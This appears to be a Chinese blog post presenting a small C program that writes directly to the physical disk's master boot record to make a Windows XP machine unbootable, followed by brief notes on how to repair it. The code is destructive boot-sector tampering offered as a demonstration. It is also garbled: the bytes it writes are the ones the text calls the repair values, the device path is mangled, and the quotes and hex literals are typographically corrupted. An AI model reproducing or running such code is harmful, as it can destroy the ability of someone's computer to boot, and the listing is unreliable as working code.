#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>

int main()
{
int hand;
char mbrBuf[512];
char buf[100]={0};

sprintf(buf,”\.PhysicalDrive0“);
hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE);
read(hand,mbrBuf,512);
mbrBuf[510]=0×55;
mbrBuf[511]=0xAA;
lseek(hand,0,SEEK_SET);
write(hand,mbrBuf,512);
close(hand);

return 0;
}
只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错

使用debug的int 13可以很方便的恢复那两个字节(0×55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复

您可能也关注于: